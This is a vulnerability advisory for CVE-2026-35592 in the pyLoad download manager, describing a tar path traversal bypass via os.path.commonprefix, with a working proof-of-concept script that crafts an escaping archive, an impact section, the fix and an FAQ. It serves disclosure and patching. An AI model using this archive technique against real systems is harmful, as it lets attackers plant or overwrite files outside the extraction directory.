CVE-2026-35592: pyLoad has an Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass
Summary
The safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix.
Details
The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct iswithindirectory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():
python fs.py:384 — CORRECT implementation def iswithindirectory(basedir, targetdir): realbase = os.path.realpath(basedir) realtarget = os.path.realpath(targetdir) return os.path.commonpath([realbase, realtarget]) == realbase
However, the safeextractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():
python UnTar.py:10-22 — VULNERABLE implementation def safeextractall(tar, path=".", members=None, , numericowner=False): def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) # BUG: line 14 return prefix == absdirectory
for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numericowner=numericowner)
os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkgevil/payload (resolving to /downloads/pkgevil/payload):
- commonprefix(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads/pkg' — equals the directory, check passes - commonpath(['/downloads/pkg', '/downloads/pkgevil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails
The extraction path is reached via: ExtractArchive.packagefinished() (line 182) → extractqueued() → UnTar.extract() (line 76) → safeextractall(t, self.dest) (line 81).
PoC
Self-contained proof of concept demonstrating the bypass:
python import tarfile, io, os, shutil
dest = '/tmp/testextractiondir' shutil.rmtree(dest, ignoreerrors=True) shutil.rmtree('/tmp/testextractiondirpwned', ignoreerrors=True) os.makedirs(dest, existok=True)
Step 1: Create malicious tar with member that escapes via prefix trick with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar: info = tarfile.TarInfo(name='../testextractiondirpwned/evil.txt') data = b'escaped the sandbox!' info.size = len(data) tar.addfile(info, io.BytesIO(data))
Step 2: Reproduce the vulnerable check from UnTar.py:11-15 def iswithindirectory(directory, target): absdirectory = os.path.abspath(directory) abstarget = os.path.abspath(target) prefix = os.path.commonprefix([absdirectory, abstarget]) return prefix == absdirectory
Step 3: Verify the check is bypassed with tarfile.open('/tmp/evil.tar.gz') as tar: for member in tar.getmembers(): memberpath = os.path.join(dest, member.name) bypassed = iswithindirectory(dest, memberpath) print(f'Member: {member.name}') print(f'Resolved: {os.path.abspath(memberpath)}') print(f'Check passes (should be False): {bypassed}') tar.extractall(dest)
Step 4: Confirm file was written outside extraction directory escapedfile = '/tmp/testextractiondirpwned/evil.txt' assert os.path.exists(escapedfile), "File did not escape" print(f'File escaped to: {escapedfile}') print(f'Content: {open(escapedfile).read()}')
Output: Member: ../testextractiondirpwned/evil.txt Resolved: /tmp/testextractiondirpwned/evil.txt Check passes (should be False): True File escaped to: /tmp/testextractiondirpwned/evil.txt Content: escaped the sandbox!
Impact
An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:
- Writing files outside the intended extraction directory into adjacent directories - Overwriting other users' downloads - Planting malicious files in predictable locations on disk - If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution
The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.
Recommended Fix
Replace the broken inline iswithindirectory with the correct iswithindirectory from pyload.core.utils.fs:
python import os import sys import tarfile
from pyload.core.utils.fs import iswithindirectory, safejoin from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError
Fix for tarfile CVE-2007-4559 def safeextractall(tar, path=".", members=None, , numericowner=False): for member in tar.getmembers(): memberpath = os.path.join(path, member.name) if not iswithindirectory(path, memberpath): raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")
tar.extractall(path, members, numericowner=numericowner)
This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.
Other sources
pyLoad is a free and open-source download manager written in Python. Prior to 0.5.0b3.dev97, the safeextractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the CVE-2026-32808 fix (commit 5f4f0fa) but was never applied to safeextractall(), making this an incomplete fix. This vulnerability is fixed in 0.5.0b3.dev97.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-35592?
CVE-2026-35592 has been classified with a medium severity due to its potential for path traversal vulnerabilities.
How do I fix CVE-2026-35592?
To mitigate CVE-2026-35592, ensure you upgrade pyLoad-ng to version 0.5.0b3.dev97 or later.
What software is affected by CVE-2026-35592?
CVE-2026-35592 affects all versions of pyLoad-ng up to and including 0.5.0b3.dev96.
What are the consequences of CVE-2026-35592?
Exploitation of CVE-2026-35592 could allow attackers to extract files outside of designated directories.
Is there a workaround for CVE-2026-35592?
There is no official workaround for CVE-2026-35592; updating the software is the recommended solution.